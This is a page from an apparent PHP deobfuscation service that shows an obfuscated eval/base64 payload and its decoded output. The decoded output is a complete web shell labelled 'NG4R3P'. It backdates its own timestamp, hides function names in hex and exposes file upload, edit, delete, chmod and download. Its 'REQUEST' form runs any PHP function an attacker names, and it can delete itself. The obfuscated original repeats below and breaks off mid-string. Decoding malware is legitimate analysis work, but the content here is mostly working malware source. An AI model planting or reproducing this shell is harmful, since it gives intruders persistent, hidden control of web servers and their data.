Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?=/****/@null; eval(str_rot13(gzuncompress(base64_decode('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJ..

Decoded Output download

Noneif (count($files) > 1) {
    $time = array();
    for ($i = 0;$i < count($files);$i++) {
        $time[] = filemtime($files[$i]);
    }
    @touch($_SERVER["SCRIPT_FILENAME"], min($time));
} else {
    @touch($_SERVER["SCRIPT_FILENAME"], filemtime("./"));
}
header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$Array = [
		'7068705f756e616d65',
		'70687076657273696f6e',
		'6368646972',
		'676574637764',
		'707265675f73706c6974',
		'636f7079',
		'66696c655f6765745f636f6e74656e7473',
		'6261736536345f6465636f6465',
		'69735f646972',
		'6f625f656e645f636c65616e28293b',
		'756e6c696e6b',
		'6d6b646972',
		'63686d6f64',
		'7363616e646972',
		'7374725f7265706c616365',
		'68746d6c7370656369616c6368617273',
		'7661725f64756d70',
		'666f70656e',
		'667772697465',
		'66636c6f7365',
		'64617465',
		'66696c656d74696d65',
		'737562737472',
		'737072696e7466',
		'66696c657065726d73',
		'746f756368',
		'66696c655f657869737473',
		'72656e616d65',
		'69735f6172726179',
		'69735f6f626a656374',
		'737472706f73',
		'69735f7772697461626c65',
		'69735f7265616461626c65',
		'737472746f74696d65',
		'66696c6573697a65',
		'726d646972',
		'6f625f6765745f636c65616e',
		'7265616466696c65',
		'617373657274',
];
$___ = count($Array);
for($i=0;$i<$___;$i++) {
	$GNJ[] = uhex($Array[$i]);
}
?>
<!DOCTYPE html>
	<html dir="auto" lang="en-US">

			<link rel="icon" href="//0x5a455553.github.io/MARIJUANA/icon.png" />
			<link rel="stylesheet" href="//0x5a455553.github.io/MARIJUANA/main.css" type="text/css">

			<script src="//ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
			<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
		</head>

		<body>
			<header>
				<div class="y x">
					<a class="ajx" href="<?php echo basename($_SERVER['PHP_SELF']);?>">
						NG4R3P
					</a>
				</div>

				<div class="q x w">
					
				</div>
				
			</header>

			<article>
				<div class="i">
					<i class="far fa-hdd"></i>
					<?php echo $GNJ[0]();?>

					<br />

					<i class="far fa-lightbulb"></i> &thinsp;&thinsp;<b>SOFT  :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>

					<br />

					<i class="far fa-folder"></i>
					
					<?php
					if(isset($_GET["d"])) {
						$d = uhex($_GET["d"]);
						$GNJ[2](uhex($_GET["d"]));
					}
					else {
						$d = $GNJ[3]();
					}
					$k = $GNJ[4]("/(\|\/)/", $d );
					foreach ($k as $m => $l) { 
						if($l=='' && $m==0) {
							echo '<a class="ajx" href="?d=2f">/</a>';
						}
						if($l == '') { 
							continue;
						}
						echo '<a class="ajx" href="?d=';
						for ($i = 0; $i <= $m; $i++) {
							echo hex($k[$i]); 
							if($i != $m) {
								echo '2f';
							}
						}
						echo '">'.$l.'</a>/'; 
					}
					?>

					<br />

				</div>

				<div class="u">
					<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
					<br />

					<br />

					<form method="post" enctype="multipart/form-data">
						<label class="l w">
							<input type="file" name="n[]" onchange="this.form.submit()" multiple> &nbsp;UPLOAD
						</label>&nbsp;
					</form>

					<?php
					$o_ = [ 
							'<script>$.notify("',
							'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
						];
					$f = $o_[0].'OK!'.$o_[1];
					$g = $o_[0].'ER!'.$o_[1];
					if(isset($_FILES["n"])) {
						$z = $_FILES["n"]["name"];
						$r = count($z);
						for( $i=0 ; $i < $r ; $i++ ) {
							if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
								echo $f;
							}
							else {
								echo $g;
							}
						}
					}
					?>

				</div>
					<?php
					$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th>';
					$b_ = '</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td></td>
							</tr>
							<tr>
								<td class="x">';
					$c_ = '</td>
							</tr>
						</tbody>
					</table>';
					$d_ = '<br />
										<br />
										<input type="submit" class="w" value="&nbsp;OK&nbsp;" />
									</form>';
					if(isset($_GET["s"])) {
						echo $a_.uhex($_GET["s"]).$b_.'
									<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
									<br />
									<br />
									<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value="&nbsp;EDIT&nbsp;" />
								'.$c_;
					}
					elseif(isset($_GET["y"])) {
						echo $a_.'REQUEST'.$b_.'
									<form method="post">
										<input class="x" type="text" name="1" />&nbsp;&nbsp;
										<input class="x" type="text" name="2" />
										'.$d_.'
									<br />
									<textarea readonly="yes">';

									if(isset($_POST["2"])) {
										echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
									}

								echo '</textarea>
								'.$c_;
					}
					elseif(isset($_GET["e"])) {
						echo $a_.uhex($_GET["e"]).$b_.'
									<form method="post">
										<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
										<br />
										<br />
										<span class="w">BASE64</span> :
										<select id="b64" name="b64">
											<option value="0">NO</option>
											<option value="1">YES</option>
										</select>
										'.$d_.'
								'.$c_.'
								
					<script>
						$("#b64").change(function() {
							if($("#b64 option:selected").val() == 0) {
								var X = $("textarea").val();
								var Z = atob(X);
								$("textarea").val(Z);
							}
							else {
								var N = $("textarea").val();
								var I = btoa(N);
								$("textarea").val(I);
							}
						});
					</script>';
					if(isset($_POST["e"])) {
						if($_POST["b64"] == "1") {
							$ex = $GNJ[7]($_POST["e"]);
						}
						else {
							$ex = $_POST["e"];
						}
						$fp = $GNJ[17](uhex($_GET["e"]), 'w');
						if($GNJ[18]($fp, $ex)) {
							OK();
						}
						else {
							ER();
						}
						$GNJ[19]($fp);
					  }
					}
					elseif(isset($_GET["x"])) {
						rec(uhex($_GET["x"]));
						if($GNJ[26](uhex($_GET["x"]))) {
							ER();
						}
						else {
							OK();
						}

					}
					elseif(isset($_GET["t"])) {
						echo $a_.uhex($_GET["t"]).$b_.'
									<form action="" method="post">
										<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
										'.$d_.'
								'.$c_;
					if( !empty($_POST["t"]) ) {
						$p = $GNJ[33]($_POST["t"]);
						if($p) {
							if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
								ER();
							}
							else {
								OK();
							}
						}
						else {
							ER();
						}
					  }
					}
					elseif(isset($_GET["k"])) {
						echo $a_.uhex($_GET["k"]).$b_.'
									<form action="" method="post">
										<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
										'.$d_.'
								'.$c_;
					if(!empty($_POST["b"])) {
						$x = $_POST["b"];
						$t = 0;
					for($i=strlen($x)-1;$i>=0;--$i)
						$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
					if(!$GNJ[12](uhex($_GET["k"]), $t)) {
						ER();
					}
					else {
						OK();
						  }
						}
					}
					elseif(isset($_GET["l"])) {
						echo $a_.'+DIR'.$b_.'
									<form action="" method="post">
										<input name="l" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["l"])) {
						if(!$GNJ[11]($_POST["l"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["q"])) {
						if($GNJ[10](__FILE__)) {
							$GNJ[38]($GNJ[9]);
							header("Location: ".basename($_SERVER['PHP_SELF'])."");
							exit();
						}
						else {
							echo $g;
						}
					}
					elseif(isset($_GET["n"])) {
						echo $a_.'+FILE'.$b_.'
									<form action="" method="post">
										<input name="n" class="x" type="text" value="">
										'.$d_.'
								'.$c_;
					if(isset($_POST["n"])) {
						if(!$GNJ[25]($_POST["n"])) {
							ER();
						}
						else {
							OK();
						}
					  }
					}
					elseif(isset($_GET["r"])) {
						echo $a_.uhex($_GET["r"]).$b_.'
									<form action="" method="post">
										<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
										'.$d_.'
								'.$c_;
					if(isset($_POST["r"])) {
						if($GNJ[26]($_POST["r"])) {
							ER();
						}
						else {
							if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
								OK();
							}
							else {
								ER();
							}
						  }
					   }
					}
					elseif(isset($_GET["z"])) {
						$zip = new ZipArchive;
						$res = $zip->open(uhex($_GET["z"]));
							if($res === TRUE) {
								$zip->extractTo(uhex($_GET["d"]));
								$zip->close();
								OK();
							} else {
								ER();
						  }
					}
					else {
					echo '<table cellspacing="0" cellpadding="7" width="100%">
						<thead>
							<tr>
								<th width="44%">[ NAME ]</th>
								<th width="11%">[ SIZE ]</th>
								<th width="17%">[ PERM ]</th>
								<th width="17%">[ DATE ]</th>
								<th width="11%">[ ACT ]</th>
							</tr>
						</thead>
						<tbody>
							<tr>
								<td>
									<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
									<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
								</td>
							</tr>
						';

							$h = "";
							$j = "";
							$w = $GNJ[13]($d);
							if($GNJ[28]($w) || $GNJ[29]($w)) {
							foreach($w as $c){
								$e = $GNJ[14]("\", "/", $d);
								if(!$GNJ[30]($c, ".zip")) {
									$zi = '';
								}
								else {
									$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
								}
								if($GNJ[31]("$d/$c")) {
										$o = "";
								}
								elseif(!$GNJ[32]("$d/$c")) {
										$o = " h";
								}
								else {
										$o = " w";
								}
								$s = $GNJ[34]("$d/$c") / 1024;
								$s = round($s, 3);
								if($s>=1024) { 
									$s = round($s/1024, 2) . " MB";
								} else {
									$s = $s . " KB";
								}
							if(($c != ".") && ($c != "..")){
								($GNJ[8]("$d/$c")) ?
								$h .= '<tr class="r">
							<td>
								<i class="far fa-folder m"></i>
								<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
							</td>
							<td class="x">
								dir
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						'
							:
								$j .= '<tr class="r">
							<td>
								<i class="far fa-file m"></i>&thinsp;
								<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
							</td>
							<td class="x">
								'.$s.'
							</td>
							<td class="x">
								<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
							</td>
							<td class="x">
								<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
								<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
								<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
								'.$zi.'
								<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
							</td>
						</tr>
						
						';

							}
						}
					}

						echo $h;
						echo $j;
						echo '</tbody>
						<tfoot>
							<tr>
								<th class="et">
									<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
									<a href="?d='.hex($e).'&q">EXIT</a>
								</th>
								<th class="et" width="11%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="17%"></th>
								<th class="et" width="11%"></th>
							</tr>
					</tfoot>
				</table>';
					}
					?>

			</article>
			<footer class="x">
				
			</footer>
			<?php
			if(isset($_GET["1"])) {
				echo $f;
			}
			elseif(isset($_GET["0"])) {
				echo $g;
			}
			else {
				NULL;
			}
			?>

			<script>
				$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
			</script>
		</body>
	</html>
<?php
	function rec($j) {
		global $GNJ;
		if(trim(pathinfo($j, PATHINFO_BASENAME ), '.') === '') {
			return;
		}
		if($GNJ[8]($j)) {
			array_map('rec', glob($j . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));
			$GNJ[35]($j);
		}
		else {
			$GNJ[10]($j);
		}
	}
	function dre($y1, $y2) {
		global $GNJ;
		ob_start();
		$GNJ[16]($y1($y2));
		return $GNJ[36]();
	}
	function hex($n) {
		$y='';
		for ($i=0; $i < strlen($n); $i++){
			$y .= dechex(ord($n[$i]));
		}
		return $y;
	}
	function uhex($y) {
		$n='';
		for ($i=0; $i < strlen($y)-1; $i+=2){
			$n .= chr(hexdec($y[$i].$y[$i+1]));
		}
		return $n;
	}
	function OK() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&1");
		exit();
	}
	function ER() {
		global $GNJ, $d;
		$GNJ[38]($GNJ[9]);
		header("Location: ?d=".hex($d)."&0");
		exit();
	}
	function x($c) {
		global $GNJ;
		$x = $GNJ[24]($c);
		if(($x & 0xC000) == 0xC000) {
			$u = "s";
		}
		elseif(($x & 0xA000) == 0xA000) {
			$u = "l";
		}
		elseif(($x & 0x8000) == 0x8000) {
			$u = "-";
		}
		elseif(($x & 0x6000) == 0x6000) {
			$u = "b";
		}
		elseif(($x & 0x4000) == 0x4000) {
			$u = "d";
		}
		elseif(($x & 0x2000) == 0x2000) {
			$u = "c";
		}
		elseif(($x & 0x1000) == 0x1000) {
			$u = "p";
		}
		else {
			$u = "u";
		}
		$u .= (($x & 0x0100) ? "r" : "-");
		$u .= (($x & 0x0080) ? "w" : "-");
		$u .= (($x & 0x0040) ? (($x & 0x0800) ? "s" : "x") : (($x & 0x0800) ? "S" : "-"));
		$u .= (($x & 0x0020) ? "r" : "-");
		$u .= (($x & 0x0010) ? "w" : "-");
		$u .= (($x & 0x0008) ? (($x & 0x0400) ? "s" : "x") : (($x & 0x0400) ? "S" : "-"));
		$u .= (($x & 0x0004) ? "r" : "-");
		$u .= (($x & 0x0002) ? "w" : "-");
		$u .= (($x & 0x0001) ? (($x & 0x0200) ? "t" : "x") : (($x & 0x0200) ? "T" : "-"));
		return $u;
	}
	if(isset($_GET["g"])) {
		$GNJ[38]($GNJ[9]);
		header("Content-Type: application/octet-stream");
		header("Content-Transfer-Encoding: Binary");
		header("Content-Length: ".$GNJ[34](uhex($_GET["g"])));
		header("Content-disposition: attachment; filename=\"".uhex($_GET["g"])."\"");
		$GNJ[37](uhex($_GET["g"]));
	}

Did this file decode correctly?

Original Code

<?=/****/@null; eval(str_rot13(gzuncompress(base64_decode('eNpVjk0LgkAURdcF/gcR17OKNtKmnPJb0yJoEyqamPOpaPjrmwlSe8vz3jv3KnqUYnowLeJEmbpTtQ5VmqGj2g9eSdM4bSlhSrMxF7ji4/FMYMIlLHhZasZ6JUfR7/QJb/UJuWK1dIKlC8yG6bHYeyMLQiSVBJdcxGBq9Z4Z2xJtNw8mUMda5+rHuM8l5FQgZ7DdPCJv2wq+lxnjcx14udDCDFtrgLLQLwRMbrBQgj+X8QGz8E9e'))));eval($RGGcrQBfUjR('aWYgKGNvdW50KCRmaWxlcykgPiAxKSB7CiAgICAkdGltZSA9IGFycmF5KCk7CiAgICBmb3IgKCRpID0gMDskaSA8IGNvdW50KCRmaWxlcyk7JGkrKykgewogICAgICAgICR0aW1lW10gPSBmaWxlbXRpbWUoJGZpbGVzWyRpXSk7CiAgICB9CiAgICBAdG91Y2goJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLCBtaW4oJHRpbWUpKTsKfSBlbHNlIHsKICAgIEB0b3VjaCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0sIGZpbGVtdGltZSgiLi8iKSk7Cn0KaGVhZGVyKCJYLVhTUy1Qcm90ZWN0aW9uOiAwIik7b2Jfc3RhcnQoKTtzZXRfdGltZV9saW1pdCgwKTtlcnJvcl9yZXBvcnRpbmcoMCk7aW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCBGQUxTRSk7CiRBcnJheSA9IFsKCQknNzA2ODcwNWY3NTZlNjE2ZDY1JywKCQknNzA2ODcwNzY2NTcyNzM2OTZmNmUnLAoJCSc2MzY4NjQ2OTcyJywKCQknNjc2NTc0NjM3NzY0JywKCQknNzA3MjY1Njc1ZjczNzA2YzY5NzQnLAoJCSc2MzZmNzA3OScsCgkJJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLAoJCSc2MjYxNzM2NTM2MzQ1ZjY0NjU2MzZmNjQ2NScsCgkJJzY5NzM1ZjY0Njk3MicsCgkJJzZmNjI1ZjY1NmU2NDVmNjM2YzY1NjE2ZTI4MjkzYicsCgkJJzc1NmU2YzY5NmU2YicsCgkJJzZkNmI2NDY5NzInLAoJCSc2MzY4NmQ2ZjY0JywKCQknNzM2MzYxNmU2NDY5NzInLAoJCSc3Mzc0NzI1ZjcyNjU3MDZjNjE2MzY1JywKCQknNjg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzMnLAoJCSc3NjYxNzI1ZjY0NzU2ZDcwJywKCQknNjY2ZjcwNjU2ZScsCgkJJzY2Nzc3MjY5NzQ2NScsCgkJJzY2NjM2YzZmNzM2NScsCgkJJzY0NjE3NDY1JywKCQknNjY2OTZjNjU2ZDc0Njk2ZDY1JywKCQknNzM3NTYyNzM3NDcyJywKCQknNzM3MDcyNjk2ZTc0NjYnLAoJCSc2NjY5NmM2NTcwNjU3MjZkNzMnLAoJCSc3NDZmNzU2MzY4JywKCQknNjY2OTZjNjU1ZjY1Nzg2OTczNzQ3MycsCgkJJzcyNjU2ZTYxNmQ2NScsCgkJJzY5NzM1ZjYxNzI3MjYxNzknLAoJCSc2OTczNWY2ZjYyNmE2NTYzNzQnLAoJCSc3Mzc0NzI3MDZmNzMnLAoJCSc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywKCQknNjk3MzVmNzI2NTYxNjQ2MTYyNmM2NScsCgkJJzczNzQ3Mjc0NmY3NDY5NmQ2NScsCgkJJzY2Njk2YzY1NzM2OTdhNjUnLAoJCSc3MjZkNjQ2OTcyJywKCQknNmY2MjVmNjc2NTc0NWY2MzZjNjU2MTZlJywKCQknNzI2NTYxNjQ2NjY5NmM2NScsCgkJJzYxNzM3MzY1NzI3NCcsCl07CiRfX18gPSBjb3VudCgkQXJyYXkpOwpmb3IoJGk9MDskaTwkX19fOyRpKyspIHsKCSRHTkpbXSA9IHVoZXgoJEFycmF5WyRpXSk7Cn0KPz4KPCFET0NUWVBFIGh0bWw+Cgk8aHRtbCBkaXI9ImF1dG8iIGxhbmc9ImVuLVVTIj4KCgkJCTxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iLy8weDVhNDU1NTUzLmdpdGh1Yi5pby9NQVJJSlVBTkEvaWNvbi5wbmciIC8+CgkJCTxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iLy8weDVhNDU1NTUzLmdpdGh1Yi5pby9NQVJJSlVBTkEvbWFpbi5jc3MiIHR5cGU9InRleHQvY3NzIj4KCgkJCTxzY3JpcHQgc3JjPSIvL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjMuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KCQkJPHNjcmlwdCBzcmM9Ii8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL25vdGlmeS8wLjQuMi9ub3RpZnkubWluLmpzIj48L3NjcmlwdD4KCQk8L2hlYWQ+CgoJCTxib2R5PgoJCQk8aGVhZGVyPgoJCQkJPGRpdiBjbGFzcz0ieSB4Ij4KCQkJCQk8YSBjbGFzcz0iYWp4IiBocmVmPSI8P3BocCBlY2hvIGJhc2VuYW1lKCRfU0VSVkVSWydQSFBfU0VMRiddKTs/PiI+CgkJCQkJCU5HNFIzUAoJCQkJCTwvYT4KCQkJCTwvZGl2PgoKCQkJCTxkaXYgY2xhc3M9InEgeCB3Ij4KCQkJCQkKCQkJCTwvZGl2PgoJCQkJCgkJCTwvaGVhZGVyPgoKCQkJPGFydGljbGU+CgkJCQk8ZGl2IGNsYXNzPSJpIj4KCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWhkZCI+PC9pPgoJCQkJCTw/cGhwIGVjaG8gJEdOSlswXSgpOz8+CgoJCQkJCTxiciAvPgoKCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWxpZ2h0YnVsYiI+PC9pPiAmdGhpbnNwOyZ0aGluc3A7PGI+U09GVCAgOjwvYj4gPD9waHAgZWNobyAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107Pz4gPGI+UEhQIDo8L2I+IDw/cGhwIGVjaG8gJEdOSlsxXSgpOz8+CgoJCQkJCTxiciAvPgoKCQkJCQk8aSBjbGFzcz0iZmFyIGZhLWZvbGRlciI+PC9pPgoJCQkJCQoJCQkJCTw/cGhwCgkJCQkJaWYoaXNzZXQoJF9HRVRbImQiXSkpIHsKCQkJCQkJJGQgPSB1aGV4KCRfR0VUWyJkIl0pOwoJCQkJCQkkR05KWzJdKHVoZXgoJF9HRVRbImQiXSkpOwoJCQkJCX0KCQkJCQllbHNlIHsKCQkJCQkJJGQgPSAkR05KWzNdKCk7CgkJCQkJfQoJCQkJCSRrID0gJEdOSls0XSgiLyhcXFx8XC8pLyIsICRkICk7CgkJCQkJZm9yZWFjaCAoJGsgYXMgJG0gPT4gJGwpIHsgCgkJCQkJCWlmKCRsPT0nJyAmJiAkbT09MCkgewoJCQkJCQkJZWNobyAnPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9MmYiPi88L2E+JzsKCQkJCQkJfQoJCQkJCQlpZigkbCA9PSAnJykgeyAKCQkJCQkJCWNvbnRpbnVlOwoJCQkJCQl9CgkJCQkJCWVjaG8gJzxhIGNsYXNzPSJhangiIGhyZWY9Ij9kPSc7CgkJCQkJCWZvciAoJGkgPSAwOyAkaSA8PSAkbTsgJGkrKykgewoJCQkJCQkJZWNobyBoZXgoJGtbJGldKTsgCgkJCQkJCQlpZigkaSAhPSAkbSkgewoJCQkJCQkJCWVjaG8gJzJmJzsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQllY2hvICciPicuJGwuJzwvYT4vJzsgCgkJCQkJfQoJCQkJCT8+CgoJCQkJCTxiciAvPgoKCQkJCTwvZGl2PgoKCQkJCTxkaXYgY2xhc3M9InUiPgoJCQkJCTw/cGhwIGVjaG8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107Pz4gPGkgY2xhc3M9ImZhcyBmYS1saW5rIj48L2k+CgkJCQkJPGJyIC8+CgoJCQkJCTxiciAvPgoKCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgoJCQkJCQk8bGFiZWwgY2xhc3M9ImwgdyI+CgkJCQkJCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0ibltdIiBvbmNoYW5nZT0idGhpcy5mb3JtLnN1Ym1pdCgpIiBtdWx0aXBsZT4gJm5ic3A7VVBMT0FECgkJCQkJCTwvbGFiZWw+Jm5ic3A7CgkJCQkJPC9mb3JtPgoKCQkJCQk8P3BocAoJCQkJCSRvXyA9IFsgCgkJCQkJCQknPHNjcmlwdD4kLm5vdGlmeSgiJywKCQkJCQkJCSciLCB7IGNsYXNzTmFtZToiMSIsYXV0b0hpZGVEZWxheTogMjAwMCxwb3NpdGlvbjoibGVmdCBib3R0b20iIH0pOzwvc2NyaXB0PicKCQkJCQkJXTsKCQkJCQkkZiA9ICRvX1swXS4nT0shJy4kb19bMV07CgkJCQkJJGcgPSAkb19bMF0uJ0VSIScuJG9fWzFdOwoJCQkJCWlmKGlzc2V0KCRfRklMRVNbIm4iXSkpIHsKCQkJCQkJJHogPSAkX0ZJTEVTWyJuIl1bIm5hbWUiXTsKCQkJCQkJJHIgPSBjb3VudCgkeik7CgkJCQkJCWZvciggJGk9MCA7ICRpIDwgJHIgOyAkaSsrICkgewoJCQkJCQkJaWYoJEdOSls1XSgkX0ZJTEVTWyJuIl1bInRtcF9uYW1lIl1bJGldLCAkelskaV0pKSB7CgkJCQkJCQkJZWNobyAkZjsKCQkJCQkJCX0KCQkJCQkJCWVsc2UgewoJCQkJCQkJCWVjaG8gJGc7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQl9CgkJCQkJPz4KCgkJCQk8L2Rpdj4KCQkJCQk8P3BocAoJCQkJCSRhXyA9ICc8dGFibGUgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSI3IiB3aWR0aD0iMTAwJSI+CgkJCQkJCTx0aGVhZD4KCQkJCQkJCTx0cj4KCQkJCQkJCQk8dGg+JzsKCQkJCQkkYl8gPSAnPC90aD4KCQkJCQkJCTwvdHI+CgkJCQkJCTwvdGhlYWQ+CgkJCQkJCTx0Ym9keT4KCQkJCQkJCTx0cj4KCQkJCQkJCQk8dGQ+PC90ZD4KCQkJCQkJCTwvdHI+CgkJCQkJCQk8dHI+CgkJCQkJCQkJPHRkIGNsYXNzPSJ4Ij4nOwoJCQkJCSRjXyA9ICc8L3RkPgoJCQkJCQkJPC90cj4KCQkJCQkJPC90Ym9keT4KCQkJCQk8L3RhYmxlPic7CgkJCQkJJGRfID0gJzxiciAvPgoJCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0idyIgdmFsdWU9IiZuYnNwO09LJm5ic3A7IiAvPgoJCQkJCQkJCQk8L2Zvcm0+JzsKCQkJCQlpZihpc3NldCgkX0dFVFsicyJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJzIl0pLiRiXy4nCgkJCQkJCQkJCTx0ZXh0YXJlYSByZWFkb25seT0ieWVzIj4nLiRHTkpbMTVdKCRHTkpbNl0odWhleCgkX0dFVFsicyJdKSkpLic8L3RleHRhcmVhPgoJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJPGJyIC8+CgkJCQkJCQkJCTxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPVwnP2Q9Jy4kX0dFVFsiZCJdLicmZT0nLiRfR0VUWyJzIl0uJ1wnIiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJ3IiB2YWx1ZT0iJm5ic3A7RURJVCZuYnNwOyIgLz4KCQkJCQkJCQknLiRjXzsKCQkJCQl9CgkJCQkJZWxzZWlmKGlzc2V0KCRfR0VUWyJ5Il0pKSB7CgkJCQkJCWVjaG8gJGFfLidSRVFVRVNUJy4kYl8uJwoJCQkJCQkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiPgoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiBuYW1lPSIxIiAvPiZuYnNwOyZuYnNwOwoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJ4IiB0eXBlPSJ0ZXh0IiBuYW1lPSIyIiAvPgoJCQkJCQkJCQkJJy4kZF8uJwoJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJPHRleHRhcmVhIHJlYWRvbmx5PSJ5ZXMiPic7CgoJCQkJCQkJCQlpZihpc3NldCgkX1BPU1RbIjIiXSkpIHsKCQkJCQkJCQkJCWVjaG8gJEdOSlsxNV0oZHJlKCRfUE9TVFsiMSJdLCAkX1BPU1RbIjIiXSkpOwoJCQkJCQkJCQl9CgoJCQkJCQkJCWVjaG8gJzwvdGV4dGFyZWE+CgkJCQkJCQkJJy4kY187CgkJCQkJfQoJCQkJCWVsc2VpZihpc3NldCgkX0dFVFsiZSJdKSkgewoJCQkJCQllY2hvICRhXy51aGV4KCRfR0VUWyJlIl0pLiRiXy4nCgkJCQkJCQkJCTxmb3JtIG1ldGhvZD0icG9zdCI+CgkJCQkJCQkJCQk8dGV4dGFyZWEgbmFtZT0iZSIgY2xhc3M9Im8iPicuJEdOSlsxNV0oJEdOSls2XSh1aGV4KCRfR0VUWyJlIl0pKSkuJzwvdGV4dGFyZWE+CgkJCQkJCQkJCQk8YnIgLz4KCQkJCQkJCQkJCTxiciAvPgoJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InciPkJBU0U2NDwvc3Bhbj4gOgoJCQkJCQkJCQkJPHNlbGVjdCBpZD0iYjY0IiBuYW1lPSJiNjQiPgoJCQkJCQkJCQkJCTxvcHRpb24gdmFsdWU9IjAiPk5PPC9vcHRpb24+CgkJCQkJCQkJCQkJPG9wdGlvbiB2YWx1ZT0iMSI+WUVTPC9vcHRpb24+CgkJCQkJCQkJCQk8L3NlbGVjdD4KCQkJCQkJCQkJCScuJGRfLicKCQkJCQkJCQknLiRjXy4nCgkJCQkJCQkJCgkJCQkJPHNjcmlwdD4KCQkJCQkJJCgiI2I2NCIpLmNoYW5nZShmdW5jdGlvbigpIHsKCQkJCQkJCWlmKCQoIiNiNjQgb3B0aW9uOnNlbGVjdGVkIikudmFsKCkgPT0gMCkgewoJCQkJCQkJCXZhciBYID0gJCgidGV4dGFyZWEiKS52YWwoKTsKCQkJCQkJCQl2YXIgWiA9